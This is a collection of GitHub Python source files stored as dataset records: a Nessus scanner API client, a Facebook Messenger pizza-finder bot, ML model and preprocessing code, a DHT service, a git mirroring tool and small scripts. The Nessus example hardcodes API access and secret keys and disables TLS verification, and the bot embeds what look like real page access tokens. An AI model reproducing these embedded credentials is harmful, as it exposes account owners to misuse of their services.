verify=True, proxies=None):\n self.session = requests.Session()\n self.url = url\n if self.url.endswith('/'):\n self.url = self.url[:-1]\n self.username = username\n self.password = password\n self.access_key = access_key\n self.secret_key = secret_key\n self.verify = verify\n self.proxies = proxies\n self.is_authenticated = False\n self.token = None\n self.folders = []\n self.login()\n\n def _send(self, url, data={}, json={}, method='POST'):\n if self.is_authenticated is False:\n self.login()\n if method == 'GET':\n if self.proxies:\n req = self.session.get(url=url, data=data, json=json, verify=self.verify, proxies=self.proxies)\n else:\n req = self.session.get(url=url, data=data, json=json, verify=self.verify)\n elif method == 'POST':\n if self.proxies:\n req = self.session.post(url=url, data=data, json=json, verify=self.verify, proxies=self.proxies)\n else:\n req = self.session.post(url=url, data=data, json=json, verify=self.verify)\n\n return req\n\n def login(self):\n self.is_authenticated = False\n self.token = None\n if 'X-Cookie' in self.session.headers:\n self.session.headers.pop('X-Cookie')\n url = \"{0}/session\".format(self.url)\n if self.username and self.password:\n data = {\n 'username': self.username,\n 'password': self.password\n }\n res = self.session.post(url, json=data, proxies=self.proxies, verify=self.verify)\n contents = res.json()\n self.token = contents['token']\n self.is_authenticated = True\n self.session.headers.update({'X-Cookie': 'token={0}'.format(self.token)})\n elif self.access_key and self.secret_key:\n self.is_authenticated = True\n self.session.headers.update(\n {'X-ApiKeys': 'accessKey={0}; secretKey={1};'.format(self.access_key, self.secret_key)}\n )\n else:\n raise Exception('No username or API keys provided')\n\n def get_folders(self):\n url = '{0}/folders'.format(self.url)\n res = self._send(url, method='GET')\n if res.status_code == 200:\n self.folders = res.json()['folders']\n elif res.status_code == 403:\n raise Exception(res.reason)\n else:\n return res\n return self.folders\n\n def get_scans(self, folder_id=None):\n if folder_id is None:\n url = '{0}/scans'.format(self.url)\n else:\n url = '{0}/scans?folder_id={1}'.format(self.url, folder_id)\n res = self._send(url, method='GET')\n if res.status_code == 200:\n return res.json()['scans']\n else:\n raise Exception(res.reason)\n\n def scan_export(self, scan_id):\n \"\"\"This is a bit of a hack, only downloads nessus format where API can do more\"\"\"\n url = '{0}/scans/{1}/export'.format(self.url, str(scan_id))\n data = {\n 'chapters': None,\n 'format': 'nessus'\n }\n res = self._send(url, json=data, method='POST')\n if res.status_code == 200:\n return res.json()['file']\n elif res.status_code == 400:\n raise Exception('Missing parameters')\n elif res.status_code == 404:\n raise Exception('Scan does not exist')\n else:\n raise Exception(res.reason)\n\n def export_status(self, scan_id, file_id):\n url = '{0}/scans/{1}/export/{2}/status'.format(self.url, scan_id, file_id)\n res = self._send(url, method='GET')\n if res.status_code == 200:\n return res.json()['status']\n elif res.status_code == 404:\n raise Exception('Scan or file does not exist')\n else:\n raise Exception(res.reason)\n\n def scan_download(self, scan_id, file_id):\n url = '{0}/scans/{1}/export/{2}/download'.format(self.url, scan_id, file_id)\n res = self._send(url, method='GET')\n if res.status_code == 200:\n return res.content\n elif res.status_code == 404:\n raise Exception('Scan or file does not exist')\n else:\n raise Exception(res.reason)\n\n def report_download(self, scan_id, time_delay=5):\n \"\"\"Bundles scan_export and scan_download together\"\"\"\n file_id = self.scan_export(scan_id)\n status = ''\n count = 0\n while status != 'ready':\n if count > 5:\n raise Exception('Report download timed out')\n status = self.export_status(scan_id, file_id)\n logger.debug('status = {0}'.format(status))\n count += 1\n if status != 'ready':\n time.sleep(time_delay)\n\n contents = self.scan_download(scan_id, file_id)\n return contents\n\n\nif __name__ == '__main__':\n from pprint import pprint\n #n = Nessus6API(url='https://localhost:8834', 'username', 'password', verify=False)\n n = Nessus6API(\n url='https://localhost:8834', secret_key='f23a0072b5ce3a701c4105553cf029fa1a8ff0a2f3de91207c006f3bfa71d5a4',\n access_key='492371350d7aadf5220223c6f64733338aa741fc52aada2fcd09b7b8dcaf387d', verify=False\n )\n\n folders = n.get_folders()\n pprint(folders)\n\n print(\"\\n\\n\")\n scans = n.get_scans()\n pprint(scans)\n\n","repo_name":"KvasirSecurity/Kvasir","sub_path":"modules/skaldship/nessus/ness6api.py","file_name":"ness6api.py","file_ext":"py","file_size_in_byte":5845,"program_lang":"python","lang":"en","doc_type":"code","stars":424,"dataset":"github-code","pt":"61"} +{"seq_id":"75119428994","text":"from flask import Flask, request\nfrom flask_ngrok import run_with_ngrok\nimport requests, googleapi\nfrom geopy.geocoders import Nominatim\n\n\napp = Flask(__name__)\nrun_with_ngrok(app) # Start ngrok when app is run\n\n# Tokens\nFB_API_URL = 'https://graph.facebook.com/v2.6/me/messages'\nVERIFY_TOKEN = 'bob'\nPAGE_ACCESS_TOKEN = 'EAAE361oDiy4BAG23yqgcoMO5hmu7v4EEM55HNbWgdrDAdDGAYvuu9NpnjANm2aYDFmC5VZAEMSGaFZBZBFMYsWVKw67006NJjx6xJ1mnneoZCawFWWDHKyPwNQjQhnviDqZBGU7xhBmeZBVXk5Q5auVzZBeFMw0G00kHTmBjtOiSQZDZD'\nPAGE_ACCESS_TOKEN_CAT='EAAIiC9PUCssBAOK8ZAXbZBapxfBU2hZA1UUVzJwV9kFGPd5kJCxXIYMHu771nWSLmj60USfnRIOKhZCeVeyX7HsQYj2ZB8Jm5IRVbrY3B3LQPT7ZBLrpjXKTUfWJn7uotQYCBIa3RA4nyyTMVDJcI0sCrxGhX3AA2mqfRsfQDAZBwZDZD'\n\n@app.route(\"/\")\ndef home():\n return \"Howdy, Flask!\"\n\n# Get the bot response\ngeolocator = Nominatim(user_agent=\"googleapi\")\n\n\ndef get_location(foodie):\n\tfoodie=geolocator.geocode(foodie)\n\tlat=str(foodie.latitude)\n\tlon=str(foodie.longitude)\n\taddress=lat+','+lon\n\treturn address\n\ndef get_bot_response(message,resturant):\n\n return googleapi.top_five(message, \"Pizza\")\n#locate = message\n#y = get_location(locate)\n\n# Verify whether webhook is connected\ndef verify_webhook(req):\n if req.args.get(\"hub.verify_token\") == VERIFY_TOKEN:\n return req.args.get(\"hub.challenge\")\n else:\n return \"incorrect\"\n\n# Formulate a response to the user and pass it to the function that sends it\ndef respond(sender, message):\n locate = message\n y = get_location(locate)\n response = get_bot_response(y,\"Pizza\")\n send_message(sender, response)\n\n# Check if the message is a message from the user\ndef is_user_message(message):\n return (message.get('message') and\n message['message'].get('text') and\n not message['message'].get(\"is_echo\"))\n\n# Main function flask uses to listen at the \"/webhook\" endpoint\n@app.route(\"/webhook\", methods=['GET', 'POST'])\ndef listen():\n if request.method == 'GET':\n return verify_webhook(request)\n\n if request.method == 'POST':\n payload = request.json\n event = payload['entry'][0]['messaging']\n for x in event:\n if is_user_message(x):\n text = x['message']['text']\n sender_id = x['sender']['id']\n respond(sender_id, text)\n\n return \"ok\"\n\n# Send a response back to the user\ndef send_message(recipient_id, text):\n payload = {\n 'message': {\n 'text': text\n },\n 'recipient': {\n 'id': recipient_id\n },\n 'notification_type': 'regular'\n }\n\n auth = {\n 'access_token': PAGE_ACCESS_TOKEN_CAT\n }\n\n response = requests.post(\n FB_API_URL,\n params=auth,\n json=payload\n )\n\n return response.json()\n\nif __name__ == '__main__':\n app.run()","repo_name":"anizhou/botato","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"19609897088","text":"import numpy as np\nimport copy\nfrom tick.hawkes import SimuPoissonProcess\n\n\ndef light_weight_reserve(intensities):\n intensities = np.array(copy.deepcopy(intensities))\n create_devices = np.vectorize(lambda intensity: SimuPoissonProcess(\n intensity[\"warm_up_intensity\"] if not intensity[\"is_main\"] else intensity[\"main_intensity\"], max_jumps=1,\n verbose=False))\n run_devices = np.vectorize(SimuPoissonProcess.simulate)\n times = np.vectorize(lambda device: device.simulation_time)\n is_main = np.vectorize(lambda intensity: intensity[\"is_main\"])\n devices = create_devices(intensities)\n run_devices(devices)\n life_times = times(devices)\n main_device = devices[is_main(intensities)][0]\n total_time = 0\n\n while True:\n total_time += main_device.simulation_time\n surviving_devices = (life_times > main_device.simulation_time) & ~is_main(intensities)\n intensities = intensities[surviving_devices]\n life_times = life_times[surviving_devices]\n\n if not intensities.size:\n break\n\n life_times -= main_device.simulation_time\n main_device = SimuPoissonProcess(intensities[0][\"main_intensity\"], max_jumps=1, verbose=False)\n intensities[0][\"is_main\"] = True\n main_device.simulate()\n\n return total_time\n","repo_name":"brucebek/mathstat","sub_path":"processes/reserves.py","file_name":"reserves.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542717561","text":"import sys \r\ndef voltear(entrada,k):\r\n\tcount=0\r\n\tif '-' in entrada:\r\n\t\tfor i,x in enumerate(entrada):\r\n\t\t\tif x == '-':\r\n\t\t\t\tif i+k<= len(entrada):\r\n\t\t\t\t\tfor j in range (i,i+k):\r\n\t\t\t\t\t\tif entrada[j] == '-':\r\n\t\t\t\t\t\t\tentrada[j] = '+'\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tentrada[j] = '-'\r\n\t\t\t\t\tcount+=1\r\n\t\t\t\telse:\r\n\t\t\t\t\tif '-' in entrada:\r\n\t\t\t\t\t\treturn -1\r\n\r\n\treturn count\r\n\r\ncasos=int(sys.stdin.readline().strip())\r\n\r\nfor x in range(0,casos):\r\n\tentrada, k=sys.stdin.readline().strip().split(\" \")\r\n\tresult=voltear(list(entrada),int(k))\r\n\t\r\n\tif result==-1:\r\n\t\tprint(\"Case #\"+str(x+1)+\": IMPOSSIBLE\")\r\n\telse:\r\n\t\tprint(\"Case #\"+str(x+1)+\": \"+str(result))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2196.py","file_name":"2196.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"ar","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37248170728","text":"import shutil\nfrom tqdm import tqdm\nimport pandas as pd\nimport os\n\nroot = '/scratch/a/amiilab/shuvendu/data/AffectNet/'\nclass_dict = {\n 0: 'neutral',\n 1: 'happy',\n 2: 'sad',\n 3: 'surprise',\n 4: 'fear',\n 5: 'disgust',\n 6: 'anger'\n}\n\nfor key, val in class_dict.items():\n os.makedirs(os.path.join(root, 'train', val), exist_ok=True)\n os.makedirs(os.path.join(root, 'val', val), exist_ok=True)\n\n# train images\ndata = pd.read_csv(os.path.join(root, 'training.csv'))\ndata.groupby('expression').count()\n\nfiles = list(data['subDirectory_filePath'])\nexpression = list(data['expression'])\n\nfor i in tqdm(range(len(files))):\n file = files[i]\n src = os.path.join(root, 'images', file)\n file = file.split('/')[-1]\n if expression[i] in class_dict:\n dest = os.path.join(root, 'train', class_dict[expression[i]], file)\n shutil.copy(src, dest)\n\n# val images\ndata = pd.read_csv(os.path.join(root, 'validation.csv'))\n\nfiles = list(data['subDirectory_filePath'])\nexpression = list(data['expression'])\n\nfor i in tqdm(range(len(files))):\n file = files[i]\n src = os.path.join(root, 'images', file)\n file = file.split('/')[-1]\n if expression[i] in class_dict:\n dest = os.path.join(root, 'val', class_dict[expression[i]], file)\n shutil.copy(src, dest)\n","repo_name":"ShuvenduRoy/SSL_FER","sub_path":"datasets/preprocessing/affectnet.py","file_name":"affectnet.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"16398836077","text":"## Define the convolutional neural network architecture\n\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\n# can use the below import should you choose to initialize the weights of your Net\nimport torch.nn.init as I\n\ndtype = torch.cuda.FloatTensor\ndevice = torch.device(\"cuda:0\")\n#nn = nn.cuda()\n\nclass BasicNN(nn.Module):\n def __init__(self):\n super(BasicNN, self).__init__()\n self.net = nn.Linear(28 * 28, 10)\n def forward(self, x):\n batch_size = x.size(0)\n x = x.view(batch_size, -1)\n output = self.net(x)\n\nclass Net1(nn.Module):\n\n def __init__(self):\n super(Net1, self).__init__()\n\n # 1 input image channel (grayscale), 10 output channels/feature maps\n # 3x3 square convolution kernel\n ## output size = (W-F)/S +1 = (28-3)/1 +1 = 26\n # the output Tensor for one image, will have the dimensions: (10, 26, 26)\n # after one pool layer, this becomes (10, 13, 13)\n self.conv1 = nn.Conv2d(1, 10, 3)\n\n # maxpool layer\n # pool with kernel_size=2, stride=2\n self.pool = nn.MaxPool2d(2, 2)\n\n # second conv layer: 10 inputs, 20 outputs, 3x3 conv\n ## output size = (W-F)/S +1 = (13-3)/1 +1 = 11\n # the output tensor will have dimensions: (20, 11, 11)\n # after another pool layer this becomes (20, 5, 5); 5.5 is rounded down\n self.conv2 = nn.Conv2d(10, 20, 3)\n\n # 20 outputs * the 5*5 filtered/pooled map size\n # 10 output channels (for the 10 classes)\n self.fc1 = nn.Linear(20*5*5, 10)\n\n\n # define the feedforward behavior\n def forward(self, x):\n # two conv/relu + pool layers\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n\n # prep for linear layer\n # flatten the inputs into a vector\n x = x.view(x.size(0), -1)\n\n # one linear layer\n x = F.relu(self.fc1(x))\n # a softmax layer to convert the 10 outputs into a distribution of class scores\n x = F.log_softmax(x, dim=1)\n\n # final output\n return x\n\n\nclass Net2(nn.Module):\n\n def __init__(self):\n super(Net2, self).__init__()\n\n ## Define all the layers of this CNN, the only requirements are:\n ## This network takes in a square (224 x 224), RGB image as input\n ## 120 output channels/feature maps\n\n # 1 - input image channel (RGB), 32 output channels/feature maps, 4x4 square convolution kernel\n # 2x2 max pooling with 10% droupout\n # ConvOut: (32, 221, 221) <-- (W-F+2p)/s+1 = (224 - 4)/1 + 1\n # PoolOut: (32, 110, 110) <-- W/s\n self.conv1 = nn.Conv2d(3, 32, 4)\n self.bn1 = nn.BatchNorm2d(32)\n self.pool1 = nn.MaxPool2d(2, 2)\n self.dropout1 = nn.Dropout(p = 0.1)\n\n # 2 - 64 output channels/feature maps, 3x3 square convolution kernel\n # 2x2 max pooling with 20% droupout\n # ConvOut: (64, 108, 108) <-- (W-F+2p)/s+1 = (110 - 3)/1 + 1\n # PoolOut: (64, 54, 54) <-- W/s\n self.conv2 = nn.Conv2d(32, 64, 3)\n self.bn2 = nn.BatchNorm2d(64)\n self.pool2 = nn.MaxPool2d(2, 2)\n self.dropout2 = nn.Dropout(p = 0.2)\n\n # 3 - 128 output channels/feature maps, 2x2 square convolution kernel\n # 2x2 max pooling with 30% droupout\n # ConvOut: (128, 53, 53) <-- (W-F+2p)/s+1 = (54 - 2)/1 + 1\n # PoolOut: (128, 26, 26) <-- W/s\n self.conv3 = nn.Conv2d(64, 128, 2)\n self.bn3 = nn.BatchNorm2d(128)\n self.pool3 = nn.MaxPool2d(2, 2)\n self.dropout3 = nn.Dropout(p = 0.3)\n\n # 4 - 256 output channels/feature maps, 3x3 square convolution kernel\n # 2x2 max pooling with 30% droupout\n # ConvOut: (256, 24, 24) <-- (W-F+2p)/s+1 = (24 - 3)/1 + 1\n # PoolOut: (256, 12, 12) <-- W/s\n self.conv4 = nn.Conv2d(128, 256, 3)\n self.bn4 = nn.BatchNorm2d(256)\n self.pool4 = nn.MaxPool2d(2, 2)\n self.dropout4 = nn.Dropout(p = 0.4)\n\n # Fully Connected Layers\n self.fc1 = nn.Linear(256*12*12, 1000)\n self.dropout5 = nn.Dropout(p = 0.5)\n self.fc2 = nn.Linear(1000, 1000)\n self.dropout6 = nn.Dropout(p = 0.6)\n self.fc3 = nn.Linear(1000, 250)\n self.dropout7 = nn.Dropout(p = 0.7)\n self.fc4 = nn.Linear(250, 120)\n\n\n def forward(self, x):\n ## Define the feedforward behavior of this model\n ## x is the input image and, as an example, here you may choose to include a pool/conv step:\n ## x = self.pool(F.relu(self.conv1(x)))\n # convolutions\n x = self.dropout1(self.pool1(F.relu(self.bn1(self.conv1(x)))))\n x = self.dropout2(self.pool2(F.relu(self.bn2(self.conv2(x)))))\n x = self.dropout3(self.pool3(F.relu(self.bn3(self.conv3(x)))))\n x = self.dropout4(self.pool4(F.relu(self.bn4(self.conv4(x)))))\n\n #flatten\n x = x.view(x.size(0), -1)\n\n #fully connected\n x = self.dropout5(self.fc1(x))\n x = self.dropout6(self.fc2(x))\n x = self.dropout7(self.fc3(x))\n x = self.fc4(x)\n # a softmax layer to convert the 120 outputs into a distribution of class scores\n x = F.log_softmax(x, dim=1)\n\n # a modified x, having gone through all the layers of your model, should be returned\n return x\n","repo_name":"zrsmithson/Stanford-dogs","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"27441275323","text":"import torch.nn.functional as F\nimport torch.nn as nn\n\nimport timm\n\nfrom cfg import CFG\n\nclass Head(nn.Module):\n def __init__(\n self,\n embedding_dim=CFG.image_embedding,\n projection_dim=CFG.projection_dim,\n target_dim = 10\n ):\n super().__init__()\n # first\n self.projection = nn.Linear(embedding_dim, projection_dim, bias=True)\n self.gelu = nn.GELU()\n self.fc = nn.Linear(projection_dim, projection_dim, bias=True)\n # second\n self.ce_layer = nn.Linear(embedding_dim, target_dim, bias=True) \n \n self.dropout = nn.Dropout(CFG.dropout)\n # self.layer_norm = nn.LayerNorm(projection_dim)\n \n def forward(self, x, mode):\n if mode == 'first':\n projected = self.projection(x)\n x = self.gelu(projected)\n x = self.fc(x)\n x = self.dropout(x)\n x = x + projected\n # x = self.layer_norm(x)\n # return x\n return F.normalize(x)\n \n elif mode == 'second':\n x = self.ce_layer(x)\n return F.normalize(x)\n\n\nclass Supcon(nn.Module):\n def __init__(self, n_classes_1, n_classes_2, n_classes_3):\n super(Supcon, self).__init__()\n self.model = timm.create_model(model_name=CFG.MODEL_NAME, pretrained=True, num_classes=0, drop_rate=0.3)\n self.model_non_fc = nn.Sequential(*(list(self.model.children())[:-1]))\n \n self.level_1_emb = Head()\n self.level_2_emb = Head()\n self.level_3_emb = Head()\n \n self.level_1_fc = Head(target_dim=n_classes_1)\n self.level_2_fc = Head(target_dim=n_classes_2)\n self.level_3_fc = Head(target_dim=n_classes_3)\n\n def freeze(self):\n self.model_non_fc.requires_grad_(False)\n \n def encoder(self, x):\n x = self.model_non_fc(x)\n return x\n \n def forward_con(self, x, mode=None):\n x = self.encoder(x)\n return {\n 'level_1' : self.level_1_emb(x, mode),\n 'level_2' : self.level_2_emb(x, mode),\n 'level_3' : self.level_3_emb(x, mode)\n }\n \n def forward_ce(self, x, mode=None):\n x = self.encoder(x)\n return {\n 'level_1' : self.level_1_fc(x, mode),\n 'level_2' : self.level_2_fc(x, mode),\n 'level_3' : self.level_3_fc(x, mode)\n }","repo_name":"tigerak/doing","sub_path":"SupCon/Model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3950707818","text":"\nfrom planes.lazy import PathService, FunctionService, GraphService, Service, Response\nfrom planes.response import Page, Redirect, tags\nfrom socket import gethostname\nfrom planes.python.graphkit import *\n\nclass DhtService(PathService):\n\n def __init__(self, url = None):\n self.next = self\n self.prev = self\n self.data = {}\n self.url = url\n\n @FunctionService\n def get(kit, key):\n if key not in self.data:\n return Redirect('%s/get/%s' % (self.next.url, key))\n return Response(self.data[key])\n\n @FunctionService\n def set(kit, key, value):\n self.data[key] = value\n return Response(value)\n\n @FunctionService\n def delete(kit, key):\n del self.data[key]\n\n @FunctionService\n def has(kit, key):\n return key in self.data\n\n @GraphService\n def report(kit):\n return 'digraph {node [shape=record]; %s}' % ''.join([\n '\"%s\" [label=\"{%s|%s}\"]; edge \"%s\" -> \"%s\"; ' % (\n node.url,\n node.url,\n \", \".join([\n \"%s: %s\" % items\n for items in node.data.items()\n ]),\n node.url,\n node.next.url,\n )\n for node in self.ring()\n ])\n\n self.paths = {\n 'get': get,\n 'set': set,\n 'del': delete,\n 'has': has,\n 'report': report,\n }\n\n super(DhtService, self).__init__()\n\n def ring(self):\n node = self\n while True:\n yield node\n node = node.next\n if node is self:\n break\n\n def join(self, node):\n temp = self.next\n self.next = node\n node.prev.next = temp\n temp.prev = node.prev\n node.prev = self\n\n","repo_name":"kriskowal/planes","sub_path":"dht.py","file_name":"dht.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"39376259316","text":"import sys, os, os.path, subprocess\nimport configparser, itertools, re\nimport hmac, hashlib\nimport email.mime.text, email.utils, smtplib\n\nmail_sender = \"null@localhost\"\nconfig_file = os.path.join(os.path.dirname(__file__), 'git-mirror.conf')\n\ndef Popen_quirky(cmd, **args):\n '''\n Runs cmd via subprocess.Popen; and if that fails, puts it into the shell (/bin/sh).\n It seems that's what executing things in bash does, and even execve. Also,\n all so-far released versions of Gitolite get the shebang line wrong.\n '''\n try:\n return subprocess.Popen(cmd, **args)\n except OSError as e:\n return subprocess.Popen(['/bin/sh'] + cmd, **args)\n\nclass GitCommand:\n def __getattr__(self, name):\n def call(*args, capture_stderr = False, check = True):\n '''If <capture_stderr>, return stderr merged with stdout. Otherwise, return stdout and forward stderr to our own.\n If <check> is true, throw an exception of the process fails with non-zero exit code. Otherwise, do not.\n In any case, return a pair of the captured output and the exit code.'''\n cmd = [\"git\", name.replace('_', '-')] + list(args)\n with subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT if capture_stderr else sys.stderr) as p:\n (stdout, stderr) = p.communicate()\n assert stderr is None\n code = p.returncode\n if check and code:\n raise Exception(\"Error running {}: Non-zero exit code\".format(cmd))\n return (stdout.decode('utf-8').strip('\\n'), code)\n return call\n\ngit = GitCommand()\ngit_nullsha = 40*\"0\"\n\ndef git_is_forced_update(oldsha, newsha):\n out, code = git.merge_base(\"--is-ancestor\", oldsha, newsha, check = False) # \"Check if the first <commit> is an ancestor of the second <commit>\"\n assert not out\n assert code in (0, 1)\n return False if code == 0 else True # if oldsha is an ancestor of newsha, then this was a \"good\" (non-forced) update\n\ndef read_config(defSection = 'DEFAULT'):\n '''Reads a config file that may have options outside of any section.'''\n config = configparser.ConfigParser()\n with open(config_file) as file:\n stream = itertools.chain((\"[\"+defSection+\"]\\n\",), file)\n config.read_file(stream)\n return config\n\ndef send_mail(subject, text, recipients, sender, replyTo = None):\n assert isinstance(recipients, list)\n if not len(recipients): return # nothing to do\n # construct content\n msg = email.mime.text.MIMEText(text.encode('UTF-8'), 'plain', 'UTF-8')\n msg['Subject'] = subject\n msg['Date'] = email.utils.formatdate(localtime=True)\n msg['From'] = sender\n msg['To'] = ', '.join(recipients)\n if replyTo is not None:\n msg['Reply-To'] = replyTo\n # put into envelope and send\n s = smtplib.SMTP('localhost')\n s.sendmail(sender, recipients, msg.as_string())\n s.quit()\n\nclass Repo:\n def __init__(self, name, conf):\n '''Creates a repository from a section of the git-mirror configuration file'''\n self.name = name\n self.local = conf['local']\n self.owner = conf['owner'] # email address to notify in case of problems\n self.hmac_secret = conf['hmac-secret'].encode('utf-8') if 'hmac-secret' in conf else None\n self.deploy_key = conf['deploy-key'] # the SSH ky used for authenticating against remote hosts\n self.mirrors = {} # maps mirrors to their URLs\n mirror_prefix = 'mirror-'\n for name in filter(lambda s: s.startswith(mirror_prefix), conf.keys()):\n mirror = name[len(mirror_prefix):]\n self.mirrors[mirror] = conf[name]\n \n def mail_owner(self, msg):\n global mail_sender\n send_mail(\"git-mirror {}\".format(self.name), msg, recipients = [self.owner], sender = mail_sender)\n\n def compute_hmac(self, data):\n assert self.hmac_secret is not None\n h = hmac.new(self.hmac_secret, digestmod = hashlib.sha1)\n h.update(data)\n return h.hexdigest()\n \n def find_mirror_by_url(self, match_urls):\n for mirror, url in self.mirrors.items():\n if url in match_urls:\n return mirror\n return None\n \n def setup_env(self):\n '''Setup the environment to work with this repository'''\n os.chdir(self.local)\n ssh_set_ident = os.path.join(os.path.dirname(__file__), 'ssh-set-ident.sh')\n os.putenv('GIT_SSH', ssh_set_ident)\n ssh_ident = os.path.join(os.path.expanduser('~/.ssh'), self.deploy_key)\n os.putenv('GIT_MIRROR_SSH_IDENT', ssh_ident)\n \n def update_mirrors(self, ref, oldsha, newsha):\n '''Update the <ref> from <oldsha> to <newsha> on all mirrors. The update must already have happened locally.'''\n assert len(oldsha) == 40 and len(newsha) == 40, \"These are not valid SHAs.\"\n source_mirror = os.getenv(\"GIT_MIRROR_SOURCE\") # in case of a self-call via the hooks, we can skip one of the mirrors\n self.setup_env()\n # check for a forced update\n is_forced = newsha != git_nullsha and oldsha != git_nullsha and git_is_forced_update(oldsha, newsha)\n # tell all the mirrors\n for mirror in self.mirrors:\n if mirror == source_mirror:\n continue\n sys.stdout.write(\"Updating mirror {}\\n\".format(mirror)); sys.stdout.flush()\n # update this mirror\n if is_forced:\n # forcibly update ref remotely (someone already did a force push and hence accepted data loss)\n git.push('--force', self.mirrors[mirror], newsha+\":\"+ref)\n else:\n # nicely update ref remotely (this avoids data loss due to race conditions)\n git.push(self.mirrors[mirror], newsha+\":\"+ref)\n \n def update_ref_from_mirror(self, ref, oldsha, newsha, mirror, suppress_stderr = False):\n '''Update the local version of this <ref> to what's currently on the given <mirror>. <oldsha> and <newsha> are checked. Then update all the other mirrors.'''\n self.setup_env()\n url = self.mirrors[mirror]\n # first check whether the remote really is at newsha\n remote_state, code = git.ls_remote(url, ref)\n if remote_state:\n remote_sha = remote_state.split()[0]\n else:\n remote_sha = git_nullsha\n assert newsha == remote_sha, \"Someone lied about the new SHA, which should be {}.\".format(newsha)\n # locally, we have to be at oldsha or newsha (the latter can happen if we already got this update, e.g. if it originated from us)\n local_state, code = git.show_ref(ref, check=False)\n if code == 0:\n local_sha = local_state.split()[0]\n else:\n if len(local_state):\n raise Exception(\"Something went wrong getting the local state of {}.\".format(ref))\n local_sha = git_nullsha\n # some sanity checking, but deal gracefully with new branches appearing\n assert local_sha in (git_nullsha, oldsha, newsha), \"Someone lied about the old SHA: Local ({}) is neither old ({}) nor new ({})\".format(local_sha, oldsha, newsha)\n # if we are already at newsha locally, we also ran the local hooks, so we do not have to do anything\n if local_sha == newsha:\n return \"Local repository is already up-to-date.\"\n # update local state from local_sha to newsha.\n if newsha != git_nullsha:\n # We *could* now fetch the remote ref and immediately update the local one. However, then we would have to\n # decide whether we want to allow a force-update or not. Also, the ref could already have changed remotely,\n # so that may update to some other commit.\n # Instead, we just fetch without updating any local ref. If the remote side changed in such a way that\n # <newsha> is not actually fetched, that's a race and will be noticed when updating the local ref.\n git.fetch(url, ref, capture_stderr = suppress_stderr)\n # now update the ref, checking the old value is still local_oldsha.\n git.update_ref(ref, newsha, 40*\"0\" if local_sha is None else local_sha)\n else:\n # ref does not exist anymore. delete it.\n assert local_sha != git_nullsha, \"Why didn't we bail out earlier if there is nothing to do...?\"\n git.update_ref(\"-d\", ref, local_sha) # this checks that the old value is still local_sha\n # Now run the post-receive hooks. This will *also* push the changes to all mirrors, as we\n # are one of these hooks!\n os.putenv(\"GIT_MIRROR_SOURCE\", mirror) # tell ourselves which repo we do *not* have to update\n with Popen_quirky(['hooks/post-receive'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) as p:\n (stdout, stderr) = p.communicate(\"{} {} {}\\n\".format(oldsha, newsha, ref).encode('utf-8'))\n stdout = stdout.decode('utf-8')\n if p.returncode:\n raise Exception(\"post-receive git hook terminated with non-zero exit code {}:\\n{}\".format(p.returncode, stdout))\n return stdout\n\ndef find_repo_by_directory(repos, dir):\n for (name, repo) in repos.items():\n if dir == repo.local:\n return name\n return None\n\ndef load_repos():\n global mail_sender\n conf = read_config()\n mail_sender = conf['DEFAULT']['mail-sender']\n \n repos = {}\n for name, section in conf.items():\n if name != 'DEFAULT':\n repos[name] = Repo(name, section)\n return repos\n\n","repo_name":"RalfJung/git-mirror","sub_path":"git_mirror.py","file_name":"git_mirror.py","file_ext":"py","file_size_in_byte":9608,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"61"} +{"seq_id":"5019772865","text":"from openpyxl import load_workbook\n\nwb = load_workbook(\"result_sample_new.xlsx\")\nws = wb.active\n\n\ncontents = [] # 부적합 내용 전체 리스트\n\n\ndef delete_insert_cols(fact_all, fact_1, fact_2):\n ws.delete_cols(12+fact_1)\n ws.insert_cols(12+fact_all)\n ws.cell(4, 12+fact_all, \"부적합 내용\")\n\n\n# 특정 문자(O)를 찾아서 지우는 코드 필요 \n\n# 부적합 요소 수를 함수에 설정\ndef result_fault(fact_all):\n \n for row in ws.iter_rows(min_row=5, min_col=12, max_col=11+fact_all):\n # 특정 문자(O)를 찾아서 지우는 코드 필요 \n \n content = [] # 1개 제품에 대한 부적합내용 리스트\n for i in range(0, fact_all): # 부적합 요소 수(12개)\n if row[i].value is not None:\n content.append(\"{} : {}\".format(ws.cell(row=4, column=i+fact_all).value, row[i].value))\n contents.append(\", \".join(content))\n\n\n # 부적합내용 리스트를 해당 시료 셀에 분배하여 입력\n for i in range(0, len(contents)):\n ws.cell(i+5, 12+fact_all, contents[i])\n\nfact_1 = input(\"안전요건 부적합 요소 수 : \")\nfact_2 = input(\"표시사항 부적합 요소 수 : \")\nfact_all = int(fact_1) + int(fact_2)\n\ndelete_insert_cols(int(fact_all), int(fact_1), int(fact_2))\nresult_fault(int(fact_all))\n\nwb.save(\"result_sample_ver2.xlsx\")","repo_name":"lama-jang/macpractice","sub_path":"working_py/result_sample_new.py","file_name":"result_sample_new.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} 